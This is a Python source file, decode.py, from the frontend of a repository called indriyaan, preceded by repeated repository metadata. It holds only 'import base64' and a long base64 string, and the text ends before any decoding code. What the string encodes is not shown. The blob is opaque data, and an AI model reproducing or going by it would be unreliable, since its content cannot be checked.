276f2af95d6a7b67c9c5021a14911127e4f76649

[ "MIT" ]

null

indriyaan-frontend/decode.py

saurav111/indriyaan

276f2af95d6a7b67c9c5021a14911127e4f76649

[ "MIT" ]

null

indriyaan-frontend/decode.py

saurav111/indriyaan

276f2af95d6a7b67c9c5021a14911127e4f76649

[ "MIT" ]

null

import base64 string = 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a59FQxEWvZ395H0V8IdRW88FJbE/NaXEkePQN8w/9CrrJyDH64NebfBO4Pk6xpxP+rkjlAz65X/2UV6RJ0INelhZc1KLPjc1pqnippev3lR+Tg1n3vMTZ7Cr7His+9b5HH9a6jzkzxv4r2n2jQdRgPO6Jv5V4b4fuDP4RgUE7ogynPs1fQXxBRZLW5jP8SN/KvGfgp4Uh8YXF/oNzffZYraSVmbbk47AD35qZU3Upcse6PcymvGjOUpvSx1fw60m3vzd3s9qJJIIcRyFiPLYnrx7VxvxO1TTdSaKwtrpZJ9NuxFOgB+QsrYHNUNU+Idz8OvFOpafpdjMqxYgZbxgWJXgkAAcHjHNaXhfwjceN9G13xtf20dtJqMiGynBQQtMn3lMYGQQuee5auujgLJTlo0ViaqniFWS00seP3fh+WZ5rm3K+WvJz696w2GGII6V2uoySW0MsTHaDMwbArj7zb9pfacjNehh5yloz08fRpwtOCtc6HSLfztPKjqRVY6W3zBmwfWrnh9mMSIoyO5rbfSmuE/d8E1yTqunNpnTSw8K1OMnvY4u6gmgbCgY9RTZVuYY0dSjrIP4WGQfQjtXXyeHZCdoGfenL4VhUb7huK3hiUZTy6UndHH3EEYmVY5POG0FiFwAe496Q2kcriOMYY8Zrq5dBG39xFtXu2OtGjaRAk4knAJDDaDSliFa6Kp5e07SMSbwveWdkL9mRlP8ACeDWXLbypClwfLCSbsfMM8V9lWHg3TfEPwmntbi3jaVBlcqMrleor55uvhhqCu8DQjCsRuA4rOjjU/4g8Tl3K17I8/gtn3QGaJkWflCw4YZxkfiKs6tpM+n3kMBjLGRPMCgdRn/61em+H/hrdtfxyarF5kaLsUNyAO2PSs/xvZRaX4qsrVIVANsAOOnzn/Ch4xOfLHscssK6cLy7oytI8I67rt7FcauHgGweWu37iA44HavVLHT4NNtI7Gzj2RxjC4A/X3qrEyfbYWkbaPJ9cdxWiUicbt2eeMk187isVOu1zaLsepQoRpXtuK7Oi7SFHv61ExBwfSnN5YJOR+dVpriCJsySKASBkjpk4FcsVdnS9rsu2Nlf6zObXSrGa5mUFtkSljgdSfQVak8MeKINpk0G8VZF3qfIY5HqDjpUnj7wW/g+40bVfAPiHVYtf1KQWxjjl3CUMMMAoHyj9P516le/E/Rvh3p9p4Xu703+v29tErRyPgj5Rku3vjO1ck55r1Y4C6Wup59TGPlU6Sun066HjNxaX0I/eQyJ6ArtrR0jwF4s8Sug0rRbqVH6SFdqY/3jxXrWhfGHwJrKw/287208UWESaACFScEnIyOAR1PWvYtFuNO1S3jm06WOW2lOxHh+ZPLUc9Bjn60LB8j1Zx1cyqR0UTwXw1+zrrE5EniDUVtY8bhHCQzBe+SeB+tdPc/s8aN9nxb6jdiUKXLSbGAHbjA5r2pI42VNyACTMjcDhF6DrU0aKQjSKDnMz4A6DoOtaKhDscbx+Ik781j5P8S/B/xj4aVp0slurZeTLACSmem5cZFcY1ncxZWeQxspwQcg5r7kPlRIsl02xOZ5GYYHsK8gl1L4I/FXV7nRbTVrVNXhL7pkxE8rD+4WAEgqJ4FyTlTO/D5q1pWXzPnxtyJlphtUdl6CvMfH/j4Ir6Roly+W4kmB5x6D/Gt74/69/wAIl4kvPAuga1DeLbHbc3EB5Vj/AMsyemR3x34rxBmZ2LMSSeSTXVgMtafta3yRti8xUo8lH7yT5CfnfJPepEjjVgytkjnmq1SQuFYE817x45du52khUbI1DY4VQDxVAHaeF5qzKxk2gD8KrsyhyccUkrA3c9SuddvLTVby2tbdS92scRL5+VgQQw/IV3fhizNtH9olYm4lfzJGAxk5zXIeLLT7Bf2d60SqHJckj6Y/ka7jS5raY+RFPGZVQSFAw3BT0OK+OxdTnw8VHY+hpU4xqSl1PYPhBdiDxhd2pHy3VmxHuQVI/wDZq9dkyDn1rwHwJqB0/wAYaNcu4CynyG/4ECv8yK97kkwSuOKWXyvRS7Hzmew5cQpd0U5ZCMjNZl9INjH2q1cyEMwA6Gsq+m2xMc9q9JI8FI8v+It+tpDPM7fIq81xH7Om6z1XX9VsvEmnWq3EyxeXNP5TjncHyQQRyRWh8Y9QlWyuYoEaRmGzaoyTn0ry/wAIfDzxTLp12s92NNW/T5twLSKP90dOPUiuijVpUFzVnoehhqE6sXyFb45XNvdfEua5h1IaiswMc8mfNQNypIJAzjgg+1db8HfFtxf/AA38WeDLjToS+hwvrOn3ZQ5Zwdrow6EFTUGlfCzwvo0i3GpazeXkqfwtIET6bRk/rXRrqHh/TYmgsrVdjKUZeSCCMEHPUEVpLNcI4tK9/TT8X+h6X1Ks0o2R4u4n1FWvyc7yd6oOCwNcnrMZS7LGPZuGcYxXs/iibQINOe+sNNS2NupYxQIFDjvwO9eQa/qUOq3IureAxJjaAetGArOs3JLQ9HE8ropSl73YveGpht2E9OK7rSwrgLnPTNeX6XdG3mz2r0HQ7tZ1CZ+Y9/Sliqb5uY6surJw5X0O1tdIN2qiPblj1IzXSaX8No7vbLcsSCeVx0rG8PXSQskQIyBj3r0rS9TXylJHGOxrjT6HrJnH+OPCekeGfDs91GAXC8e5PQV55Z+G82i3zXaqykErtyOvSu5+LWpyahbR2sB3Ro4ZvqO1eXNrd7NKLWW4eCIDGF29fxFbRTktBS5b3Z9TfCa70xPC9zZ6hc5EsG2JvR8jj8s1m2/h6C4vriJwroznYy+leFWHiTXtI01jpxkcgHLJ0z2JFepfCO91yXSl1DWLoOshYou3DZzyTUVYLlQXjOWh2I8Ow2fJRStfP/xdtYk8fWxj+6lohOPUyH/69fQmp6yiqVBxXzj8Rr9b3xhK6NzEYofy+b/2asKNuZtdjzsxcVFJd0dCqRNdw78DbCOT9f8A61XpLqLJ2yg4HQdKzbqyguxC7h9wQDKuV4/CoTplonAtVI9xn+debaL3Z0K5fbUrZFPze3SuR8ca6kGnbYJcSO6kfgc1qXNrbRhmFhBx/sLWFL8MviD42DXfhjwbe3VopP79IgkZ+jNgH8K7MFQhOqn2McTV9lSbZ7fY+KJbPX/BvjFkEumTxrazSsf9V5ygFgexHNem+O/gV4T+Ili7X9u9vqHLQ3kB2tCD/e6h16EL154rxf4Y6LqepfDbXvAHimFbK/0mN54POYcBfmXBHuCK7P4c/FH41eIV07TIfC2mppaRIZb+9hljWeLGAxO794SB2H5V6MYyT917HjQhKpS9pB25N+mj1PGvGXwt+JnwslF45OqaUsmI541Z1wOQWjPKdO3p1r1n4ExfFFlt9T0vSp7bT5tyTRak3lwspBJdc/MzMT94duCDXvR1EXsheSJHYjaeOMeg9vrW7pcLS/dEi4XOUQMPy613U6bqaSOCrj5TXK1fzNWxs5bi3DGaHLRohMcakLjGRnvzVvaIJtl6o2XHyIwClcjovT+dR2KmMkAIxYfLJD8uTj7rKe/1q55lvqEDC2RbiJDieHOJIWH1579DXVDCU10OJzk92eafFu71m28CazdwAR3UtpceQQu3yyFITI9R1r859ZtvEGnXiefOPP8AviZflZcd8iv0c+M18qeGL+NpNy/ZtpOevIAzXwb4utxe315NCQVjYRLx6DJ/U1z4qf1ecYR2sexl2HjWoylLe55ZO0jzO0rl3LEszHJJ9SaW3t57uZYLaJpJG4CqMk1eu9JuTOTHHkHmr0Gk3tppjXaRnBJ3t+OMe/X9a0daKirPUcMPKUrNaGbqOhatpUUU+oWTxRTEiN+CrEdRkcZ9qog4OavXguktl81yUkbOM5GaogE9ATWkG2rszqxUZWiPEpBB7ildSw34qS0spbiUKEIHckVd1K3WCJUTt1pOaTsONOUouR9Q6R4GsfiHdyW7ly+msoKBN2d3Q13em/s+zxPBewaXI1zHEIDNIuxmjHYnjjgVz/w11S60fxh5lldvbS3VtJGro207gNw5/D9a72TU9UvmM1/eT3MvR2dyxJ6E5P0r4ylGPIuZv0Pcc29jhvEmjS+CPEdtbyvG4tp0lUpIGGMg4yPoa92MyuquDkMMg/WvFPF2nXOtPbwW0YM2SoFem6KfEUunWdlDoNzNPDbxxyyYwm4KAT69qrCtU3JJadDys2w88QoOGrReu/vtjoea5TxJrtlYwmASeZPj/VpyR9fStjWNM1QqW1nXrTTYwMNFG5aQ/goz/KvNvEOqaNp7NDpX70jrLKMEn1AB/mTW9XEyivdVvX/I4cNlF3eq9OyOb1a6/fNeXqBCTkA9TXPXurXMoKoxjj9F4zUes6xcTys7ydeh71zt1eE/ecn3rljCU3zS3PoKdOFGPLBWLVze7MnzADWfLdqzZZyaqTXAYHjP1qTT9M1TWpjDp1rJcOOWCDp9T0FdEaYp1FFXFbZdo0e4EOCuOvWvKdZt1s7uWzAwYZGXHpXsPiXStR8A+Hjqt/Ckd7fP9ntRuDeXxlpDjuAMD35rxW8LNMXYkliTk16+W03FuXQ8yvWVR2iMjO1wa6fw/f8AlTIS2FAwfyrl0I3Ak9Ku2UuZMMeB716NWHMiaFR05po9b0XUQxR9wDE8c12Q1tNPsPtMj4QLnNeM6VqVw0mUOFU4xXY3t0dR0R7TzWTcAC3f6V5U6XLI+io1ueF0UNa8ey63M1pp9vvyeWIrDtbTTUv/ADdVuZJPWKI4x9W5xWh/wjjNaCKKc2pP8YGSataP8L7XVn2TeJbiAuQGKxAgDPJPIrqpxg/dTIhRrVZaq79bI7afWvhzP4be3sbO8t7mRNjDeuIsfxAn7304rM8I/EiTw9KPDuryebB5mLe4A7E8Z9uaVPgNpcNq12/juV5I2wFERORnHQ1iTeEhBOtjcz/bYopNqS7dpK/0qKtKFONmaYinWhZtcr9T1PWfEMVpYyXU7gKELE57YrwCTVX1PU/tjn5rm68zrnALcfpit7xvq13qNzaeFtPdnPCNg9fr+FJpPwu8Ta34htLHw7ZeesaiaUvIEWNVYAkkn3HHU1jShGnG0nqzxsZVdSfMtovU7lEeQwwIHaRkAVEXJY/Suw034R+NtTthdGzWzhYZBnyWI/3Vyfwr0DQ/Cml+DtGW4kt4zfeWN0zH5mJ4Az2BPOB2FdXc/FHT/KGjeHLNNXuLKENNidIo0wByWPP44NctLAxWtRmdbNpt8tCOnc86+H/wW8L3Pi+HRvHWvtLK8RuLazhTy0uinLIXJyeOcDqM88V7dok6WqyRWcK/YYXMQVVwI8fw49PpXh2v+M/EPiTU49Qe20mxTTJQ0Mt3etC0ec/OhyHJ7LwAeeK1/CXxV1zUfDw0zUpYbm609GjW/gjMSXHBYnBAy2OCcYPBrujCFJe4jy8VLEV/fqO/6HW/EHwt4DvLmW9t1kj1Hyj9oMExjV4zwUfHrnHBHWudh1NdNaKxEa20MCKsca8KiY4A/Cub1fxBnWYrYzhY9QEKs5bgKSpz/Ol8SXST6uWjk5jCgdgPwrRLTmMUnazPUfD96b9gtsN49Tx/OvR9GhdcZgcHAHyOD/8ArrxTwNf3EcpVzh4j0z274969g0i4WW3QtMyRyruWQHGD6Z7c16NBXVzGcbM6aGKO883M6SSxHIb7r4HZv/1Vy/ieZkki1jS3+yX8EyQzMWP71CwG0gcEcgg1YvRcyuzrJJFfxrvjlT7tyij7p/2sVyus6w+qWjybsTCRIpFz0ZXUqfxUj8jXYtAiurOV+POpXJ8J37l3ZntXds46rgkfoa+KrfUlnS4MhyWmdv1r7N+McYvdGubZWAWSIhlJ6BwQfw5r4QgnME1xBLkMkhBHv3rz8fT52me3llb2a5TRvLmIHCgAHrRDqkRsGs5UiKBtyuw+Zc9cfXFY95M7qSh5qmkxZcE8d65I0bo7Z4nlloWbyBdRnVUJVFOKsXGj/Ydk1sN20birc7vUVHYv8wIPcCujs2knOzYrAKev0qpTlGyWwUYRqXk92ZCalpaoHcuqMMqQvI9QfQiqlw9hetttZyxJ6MME1RmtWluJkRwiluV6knPYV798Af2dbzxzAnia4VbfSS7QSNMqtO+Fw3l7lKIDnG47mGDjBwa0cYR1uc9XETtZrQ6C3ujp2t2d4CR5Vwufpnn9M16ojMkrhOQ43AV5BqxIJdfUMK9PsL9LrT7K83cyRDcc98V8fTklBHqQWrRIJ5LbVYSo2MxIB4OOPWr974s1l4WtWvLoovABlOMfSsjUZRFdQzZyNwH61BfZWRtirjHc5xVKbS0YpJdTP1XUZ52YPMxGK4zVryJd37znpxya3NUkQbi8gzz3ziuN1O4Uhggck+2KIx5mTzJGDqd6Q58uMn3bislW1DUJUtLKB5ppDhY4kLMfoBXr/g79nXxb4wtF1jWLlNGsJMNGJELzyKe4TjGe2T+Fe3+Dvg94c8D2/kaTYlpyuZbqbDSv+PYew4r2KGCnJXaPOr46nT0jqz5u8J/BjWdRT7b4p86ytxjbAP8AWv8AX+6P1+leraH4e0rRoV03TrJIY8HoOWPqSeSfevULvQyI/wDVgZ+bpXNXukvBMsipyDjjtXasJynl1MROs/eeh4n8f/D0198PxeQoWfSLtZJABzsIKk/+PA/hXzFfwD7PHMBgjg19+azoVtq2nXFhexh7e/ha3uF/3hgH9a+KPFnhW/8ACutaj4a1KI+dZyHaSMeYnVWHsRg1vH93Y6MOlK8Tis81JE7K2B3p8kC8lRj1qHBU4Irr0Y9jf0nUFtmCsOT1JrorLWI5po4o3Yg9c1wKSbTnv0rQsNTktW356dBXNUoJ6o7KGLlT917Hq8drc3luDbgMO2DVdND8fRF20uxJT1YgZ/WsfTPHjW8CI6IrDB+Xqa7rQPiVbCy8u5dHOAT7e1cThOm720PYp4mM/hlZmbYRfEhN/wDalusca/KWwM4/CodS1Y6ZblrmTDR5Y89xWtrXxLgjVhE49Otb/wCzX8EdY/ab+KsFtcQyJ4U0ZkudZnyQHTOVhU/3nwR7DJ9KqnSnXnqtDmx2O9lDWVz3P9gr9mTQfG3hvWfih8TvD0OoDWz5OkQ3KH5IVJ3yqeoLHABHOF969rm/Yo+H+m+Il8ReFta1bSZVR4zbPi4gZG6qc4YDgEcnGK+ktN0HTtB06003SLOG1tbBBDBBCoVEQDAUDoBUmpwmKJb6MEjHzqPTvXqvC05JOS1R8jLEVG3Z7n5//tO/DX4peB9Clu7Lw9danp8ZLS3lijSBIwp+ZlUbkHAGSMDPWvKPh74dvfFlppd/PpLaZoGqoksipMyPfTKCGEj/AHjH6AYAAx71+rVrFDfW24fvIyOAfSvBvjH+z3HIj6/8PLSK3njjkY6YgEUUzE5yhHCtnPHQ+3flxGFko81Pc0o4jlXI18zxLTPBHwz8L2TyWHhCzcwRiSZmh84qi9Blz0+p/CvF/Evi37Zr0mrJDGkIkJFugAVYum0AdscV03ibxZfaP4fOgXCzW95M4guFlUhwwPzhs85z1HvXjeoagm945ndCpOHUZ/CvKhdu7Zv8W7KfimSXXWGjwX1vGR8sLzybEK53Lk+/QfWuLi8TeN/AGotFqIee2mIwsknmRsoPVHBOP88VrvoM3jKeaxsLuKN4kMiuwODz9046c/yrnIhf+EryTw54vs3udMuAQVDbtozgSRN2I9Pzr3MM06Dg7O726/Ihx1Prf4feLPDfit4tV8O6jBN5qrK8BO2SMsBvRh1GGBwa9k0aVLVMW+NrfM0XUfXFfAlv4J8U+GlTxT4H1KS/tD/qLvT2JkjHUq6jkHGPbmvWfh9+0xqukLDYeO7R7kKdpvIFAljPbcnQ++MV7VLLJVKftMO+by6nHUmou0j67ubhY4A33YiQUJOfKft/wEnj8a8vvbyI+K9QtchFeCK42+jK5H8iPyrW034geH/FuiS3Gmahb3EEsTDdE3B454PKsOMqeeleeaBqEniHUL/xGz/uxGtnER/E45c/mcfhXHJOMuVqzNIrS4zx9ftLZOrvjfAgJPpuYD+lfG3xCtBpviO4a3OVuj5xwPuuSdw/ME/jX2F4utY9Rnu9OZiM2IQEeoOf5ivmDxTptzFqy21xGHMoYZKggkEev1Nc9a2zOui+U4XTLGR8T3GdjMAfpnmtPV9JHkpe2cYGfvovf6VavnitZodPUMAr7pn2/LnHTPtUmu3jW8UdjYbWmAySGA2k96ytc2uc/aTxqQCpBzW3pv8AbWo3K2GiabPczSkRqI4y5JPsKp2Phy8Z1nvdSsLNGPzPNcKT/wB8rkn8q+6P2aB4G0L4aWUVtrNg1zcTSTzSTskTO24qG2Z3HheM9qith5Qj7RK6NVi+VcvU8n8FfsgeJm8OHVdZ1S2tdblnBjtZFDwiHvllBO/PpwMe/H0z4F8GHwT4T0/wvHcK5tEId16F2O5j7ck8da6eNxclfsrbvMUNv3jcy+2PuigHysINvHBfHyr7KO5964neWrJlWnNcreh8RXl8kiRW6ZZypV8dq7nwfdi78OJG2N1uSB+B/wDriuOsNONtGbuZP3shIUEdK2PAt0YZr3Ty3Abd+fH+FfKwacWl0PoZpRnp1Oj1W5Y2wKnB6VlRXd5ql2tpAGuLhlyEQ5bpk8Cn3jXEqmGJWdw+FVRknPQAV6d8KfgbqVpq9t4q8VubRmysFgpxI24EEy/3Rg5wOenSurC4apiJ8sVocuKqxpQcm9eh5+nw78ba8/2fTdDlckYLZRAnuSTwPrXq/wANf2e9N8PyQ6hrccWrawcNHuXMMB9QD94j1P4CvcLbSoEZbOC2WK1iXIRVwGNa2n6bLbbrhEBeU88dBX0uGyynRfM9WfP1MZVqKzdjn30BleKzjTIiG9mx1NJcaBMlk7bTucda7m2sAJXkddzMKfq8axWiqI8kfwjjNenyJK5x7s8svfD0yocqTwBXL6l4alkDBUwBzXs8PlajE+LcoynaVI/zxWJqGj5lwygA9qlwTV0VqnqeMS6SbfMboSrAq4xXk/xu+EDeNNNTVNJiX+27CM+Uen2uEcmMn+8O3v8AWvpfU9GRJBlAA/B/pXNajpvk5Vw3l5zuA5Q+tZSpX0N6dTlkpI/M3VtFurK4lDwOjRuVkjZcNGw6gjtzWYYYnGWJBr7q+KHwP0Tx2z6halNO1rbjz1X93cegcd/r1Hv0r5V8b/DLxB4NvjZ63pj25LEJMo3RSe6v0P06+1Ye9T32PTp8lfVb9v8AI84ltZFOVGQaiO4dc10EmmtG+3JB9qQWokXDxqRjGcUe3RTwsuhhLJJnO6pUu7iPPluRn0rT/suJjjyfwFauk+EVu5Q0kJCe5odeCWpCw1S9kUPDXh7XPFeoR2NhGTuJZpHPyoBySTX64f8ABPjwPa+D/wBn3SrlLRUudYuru8uJcfNNiV40b6bUXFfE3wK+EmueONXg8M+GLQrNdfu5J9vyWsB+/Kx9hnHqcCv1V8AeHNJ8H+GrPwtokWyx0WzisYB67QMk+/GT7mjC1JVpOVrRRzZhCFGChe8uvkbwCuqtjio/s4mje3YZVgeMU+PHlKWPTtTg2HHP0r0keOjm/DFw1rqF5pU7YZHJA9jW9f28bwHLZ2nmuW8Tq+ja5ba5FkRyERzf411Syx3du+0gh0yDUlNdT4z/AG3vg015oD/FXw9FtutJ2nVY1GPOhyAJv95eAfUY9K+FPFF0HZbmBsCUBjz3/wAK/Y3xr4Zs/F/hDVvD2oRiSG/s5baRT3VlIr8Y/GdhqXhvXdR8J6opju9KupLdg3+yxFediKKUudLc6sPL7LDw54nttAuZbq5tmkE6hGZCAVwf1FdpL4Z074kaVDsmILEtbzAZKt06Hr7j/CvHZ7kglX/Su1+FnjeTw9cvZ3iyz2DtldnLQt3IB6j1H41gv3clO9rHU6bn8O4w+G/iD8Kr97qKa7tEjCyRXNvl4JsHq3YdcYIzzW5feN/BPjm1bUPFXho6VqzERy3+ldJZCPvtEThumTznJ619OeCNS0LxRZedZ31rdgDO3IWQeoZT1B9CKxPGn7PXgbxJ/plhY/2Rd8kvZptVmPdo/u5/3cGvscFmdJpOqrP+aJ5lWEr2PmfTtH1/StTth4S8QrcWN05j+1Wsu3gqQRJGfmRsE9R9Ca+k9Ot4dH0jSdFtIxGlvCMKB37k+pJz+deGJodn8MvHa+HdQ1S3ujvE0s8IbheqqVIyDx09xXrM/jrT5FDxzxQxhc75CFZvw61xY/ELEV3JO679zaEHGKViZ7t7jWJFkj5fdGeexrw/4xmDRJ0Fqxa6Mm5QBkoDlScfjx7iur1fxfe3txIdBXe6ksbg5AB9R6153Z+FfFnxJ1i307TGmvtU1GaR2kJ+6iscEk8AD5RXnzcbXN42W5lfDrwF4r+Imvy6X4egkYpZy3E0typ2xqoyTn1JwB9a5G20Fr+7Zbi8cOWwSse7H61+jHwg+H/h34d6O9np7vNcXFpbC6lLYkuJCGbL8gKvzjC9h7818A+K4bvwz8Qte0yHdAbTU7iHy+oXbIwxXLTxCcm0bQi6mh1nhL4KWGryI11r8rRlh8sUIQ/mxP8AKvWvEH7OvxM1WC1ufh34gsodLjght47S5JVsxjuwU7stk4461534V8X61bW6eVJCrDoxjGf14r64/Zh1p/EHhW9a7lkur+1u2Q4Y/dIDAt0G0Zx+FOeYuVoxexrPBTpx557HieieGP2m/CssGhL4Ju2llIRbux1iONXIx95WOMHHQgd8V9T+ELTxJHoVovie3hTWygWSOJlcQjtuIHB9wMVvvM28yJcR5bG6RSTGP90c8/lTZoLvasUSyp5nALZ3sD6nnaPbNY1Kjqu8jCNOMHofEWqSCJEkZsKARj0qj4cuWi17LYUzRkde45/xqxfrI97JBcDbHbE8ep7ms/S4Gl8R2EUbMFknVcjsp4P6GvkqcPfcEfSydoKb9T3b4EWlnffENftMKO0cRkjZ8EIfUf7XpX0fDpqR37vyQGOCea8j8IeHLPQNR0q/sYzGokUO2OW3cZJ+pr3Z7fbKJCMA4NfY5dhnRpcktz5rF1fb1OZFuxtNwGV/GtmG2iiQE5P0qnY/MoAXjtW1BsCAE4r01FLc42gjQDog/rUUun/aSGmBwDkZq6BHkBCS3rT+FO5m6DoBTtcVikNMgjU+WiqT1rG1SwBlRto25xkV05JI+UE5qteWxljwUBPWlbSwjgdZ0qFgfl3HGR9a5i+0tZ4CdmCOGGP1r067sfPttwGO2a5a7sts3+rJDcGolEpM8o1DTzalo3VmQ849PpWFqFhbXsTW1/bR3ltIMNHKobI/Hg16h4g0TYPuEBueBXC6hYvbsQxJT029KxcTWMjyPxF+zx8Odf3y6fDNpFy4JzbPhc/7jZH5YrzHWf2UPFdq7v4f1rT79T0WZWgf/wBmH8q+nIrWZ5MZDqOmRzXR6bZmEqJrEyA/3Tz+tYujGXQ6oYurT2Z8U2X7MPxhmukSPwvE6kj51vIsf+hV7b8Mf2MPGeq3UU3jTVdP0exUgskD+fOw9AMBR9cmvp7RbXT96gaRe564XGP516JollOI1ay0RYs9JLl8kfQVH1OEn7w55nWtZEHw58A+F/hj4fTQfBWlC3R8efdSczTt/eZu/wBOg9K9H0opbW/kRsWCglmP8THqay7DS5cie9m3SH8h9BWksSxptVuvOa7IQUFZLQ8yc3N3e5cRgcDJpSzDDKwGBzzVRHIAAOae02FwqZ9cmtEZkfiG0h1bSJrRsGQplTjv2rB8D62z28umXYIntsrg9StdHGzbgNgIP5VzOt2sWleI4ryCPZ5mN2DwQeuaTTLW1jbgnWSN4924MxTOf8+9fmx/wUK+Fsfh7x9Z+PtNi8uLX4ys2Bx9ojwG/EqVP4Gv0P0iRkbULd2OYLgMvrtIBH6GvGv2uPhzF8S/gzrtrFAZL3TEOp2JUZbzIslgPqu4Y9xWNWPPGxcHyTufkoXa5zGR846j1rU8Nq0ExjYFWzyD1qtGdOvJPs13dxwOP9XcqeB7NU9iJoNTeOeaOR0IUvG25W9CD9K8vERfs2ezgv4qR7b4HZkkilQsrL3BwR75r2fTPG+r6dajzJxeRqvCTfe/Bhz+ea8G8H3pVVG7PTivQLi+MdljJ+4cc148K1Wg/cdj2quHp1laaueH/ECDxZ4w8e6vrlr4Z1Mx3Vy3lbIHcbB8q4YDngCtrw74F8UtAjXfg7V53A6TlYU/EsckVuweNINJkb/hGbrWdYn582BV/cxN3AfGFAP1rhfFXxu8f2WrCzkuY4xGQzWpJZVB7MRgn6V9XH4FKW58vK/M4rY74eGfiBqLLpWk6dpVn2MaS7ivuWxgV7z8JvAmmfDrRPsGkbL7WLoh76eJ9rAk52oGztUen418jaf+0L4sgnWeW30zKHKqsTKB+TV1umfta+I7EHzfD2mSM/DyRyPHIw9M81yVlWq6WshRSW59deCdATwlqGrXQ1Rrs6zfSTyShgotgQAqImME8DJHU+lfCH7Qmmf2N8c/E8DeaVmvBcq0q4ZhIivkj/gRr23Q/wBszwpE3m+IfCd2CgBi8jY+xs+pIOK8S/aC+IXgv4k+LbLxb4VuL9rme1EN+l1Ft2uh+Qqc8/Kcf8BqIU58z5kdFOXK7oraLq0UKIpUYx1Ne/fsx/EfTfD/AIsu9D1m9+zafrEa4BwAZkPyjJ6ZBIr5g0GZZXRWbNdmojREaNiCvIYdQa5JRUJHuyX1mjyn6T+cImS52RGZhmONWPyg9C3J7e1J9pC7zGwEsn+tuCp/IFQM187fAf4vvf6V/ZHifXHElgRzI43SoemCeuOmK9vv9bk8U+HbzUvBWp2lvdwxvHZTFi0Sy9hJHxn3rppKU489rK54VWHsZ+zb1PkD4iWb2HiS9VDtDyFxj0Pzf1rrfhj4LfUiNZkiwWG2IkcKCOT9TSfEnRf7Q8Q6ewQlLhQHIHZTz+mK9U8FhorG2tYLdY44VClQMdq87B4JTxDlLZHW8W5YOEVu9zrtN0+Y6clq05LRgbD9Oler6Fcrq2jwXhXD7cSAfwsOCPzBrzckmJDFkOSAAO9dp4HmltJpNNmBVLsebGT2cDkfiP5Gvp4LlZ5Uk5I6i2fyyFFaVv5c8vkv98ruA9Kz7iPyJl7g96qT6i1nrOlvnCSu0DfiOK6Gk0Zo6VHWEmNQfzp0kjMuU+9nuetVJ3CT7ySc9Kekob5QQaTjoLzLsMjlQrHBx2pzFiMcKP1NVhLsK4BAzg4FSkqW4U80kiJEahQSjfMD1OaxtU05WD7Vx3zmtkna4IYAdCar3UbSdHHIxSaJMaHSbbUrPZIWDqMcVgXvge2eQh5FXHUd66y1iFtcfePPJ5/pV2aJGPmZOfTHWp5UNux5jdfDKYL9r01gzLyV7N9KveH7GGUrb3irHMvGCMc13VvNJFJt2bQT0YVma74fDbtR09hvA3ELxmk4JD5r6Mv6fpP2VlKAbhnBrftzdoVLFTxxx0rktA8Rl2FlcIQ68EtwRXXWl2soIUgAcnipIasaUFw6oGZufSnNfc/KpJ9ar7fNXAOcn1pVj2MFJ6UXEi7BN5y42HnmrJO3qffAqjHMIgBuC4qh4h8Y+F/CVgdU8TeILHTbUA5lup1jX8CTz9KpBY3BcqG2/dx61i+L/wB5JZXSEtk7WrxnVf20Pgh/btl4f0vVb3VJLy6jtftNtbEQRF2C7mdyuVGckgHivYdYVzZqrkHa2RzT3HazGaRMr6xqEJPL20Un57h/Sl1GOOWERFAVZSrDsRjkVR0+OO31STUy533VvHCwzwAjMf8A2ar3mCTIGM7yBn3NZ2Gz8V/2hvA+p/DT4v8AifwdLIxt7e9eW0LgHNvJ88fJH91gPqK5Xw9MyBFY5I4r7D/4KZfDg2useG/ijZoAl5EdIvMD/lom54m/FS4/4CK+L9GmCyIpfFcWKheFj1sBP3kz17wzftbyRszYyQK7DXvEQttIlmLDKRMcfQV5vpM2I1KgEgDpW1qDtqmnPZ42l0K7hyRXgumnJXPpm7x03ONv/i/4zvbRtPint7CDG0C3iCsB9fX361xFwTK7TTys7uSzMxySfUmtHXNJ1LSLjybyPCknbIo+Vv8APpWVIIwAWJP1r6iMozinB6HyU4ShK0lZjN6ggKOP0p4zimbwOQAPQtTg4PLZYevQUw1FwpBHWqsqMjZxVkzKvC8+y80yRmcH5T+NJgrot6VqBgcZrqLXxAWwjNwK4T5o2yOKsRXBbjODXJUoKTud9DFSpqx6OdQkmtybSbEuMgY/Qiux+Hv7RfijwhqNv9pVJoomCy4BVnUdiAQD+WfevN/BBe9uzFJ838IzWt4r8D3kDf2pYIZF6ui9fqBUUKyoydGb0Zpi8N9agq8Vqj60u9uo31tEFy8IJz3GccfpXp3huw22iSKhDAAZrzHw4HlujcsAN7cZ9K9W0a4e3MYYAq3atcJBRjdnlxjywUTq9LsY51TK5ZTnFdCLTMQVJGSRCHjb+6w6VX0m2UWgnRcEjOfarttN5iHjJU8jFepFKxnI3bC/XWdMDj5Zo8rIvdWHUVz/AIpufs9nZ3J4NteRMc9huGafaXf9lamLgoVhuDiUA8A9m/p+VQfEhYxoU88TDacOMdsGnfQnqdffzOxVlzggYA96dYS5kK8Zqo85exgkPO+NT+lQ6bcKbx0welPoSzf3sOdwI+tWZJd0aYGcjsKzxKG37T0HSrcfNshLA8YwKmxDEB3YQHHsOopjKiSZJ57knrXI/E/4reGfhL4cHiXxSLtbMzLbqLaHzHZyCQMdB0PJNfNPiT/goFYmdovBvw+nnLnCz6hcbAffy0z/AOhU7PclK+x9hTbHbcp5B9cVOnEeQeR3r4Ol/aE/av8AHMgm8MeEZ7O1b+K00pgmPeSXIH1zVDWbj9oDXF3+NPiho3h6DBDx3uvqGA944Sx/Ss2xPQ+6tY1XTLFDNfapaWxHTzp1T+Zrk7r9oj4MeH45LbxF8R9Gt5o+DDHN5r/kmTXwPf2Hga0Yp4l+PlxflTuMWkaVPMc57PKYx+Nchqup/A6wvjeW+m+NNcIOXe8vILUP+Co5H50O9tSoQctz7T8WftW/Apb5ZdE8QXl3MD9+KzdEP4yba1fDn7Z3whaJ4L3WBC0XBMjKc/TaST1r4ib4p+Bba1A8N/Bjw+rHgTanc3F6+fcF1T/x2ubl+Lnia2vVu9M0LwvaMD8oh0C1OPTG5DWMk3qmbxhG1mj9EpP22PhgztBokGs6xLnCpY2Ekm78wK57xp+0d8ddeksrj4SfDTU9MsSjC5m16xSMOcjaVLuAB1zn2r4mb49/Fu7Q2k3jbUrKMHDwWm20Ue22ILWPrfjzWtWlh/tHVL68Vepnndyx7n5jU2adyfZH1jqvif8AbF+IN8um3PiSw0C0kZY5Jra9tbeJM+ro5cn2BzWDqPwUg1EJbeMvivq3i24sJHM9rpNo9wwcnlftMp2L35OfpXz14X1qNNb069mVXW3niYRk7Q+GyMn1r9BbPRLRtBsXCeTZzWQ8sqcBZMLknHU53Zz1rhzDG1MLKEaUbuXV7I2w9CFVv2s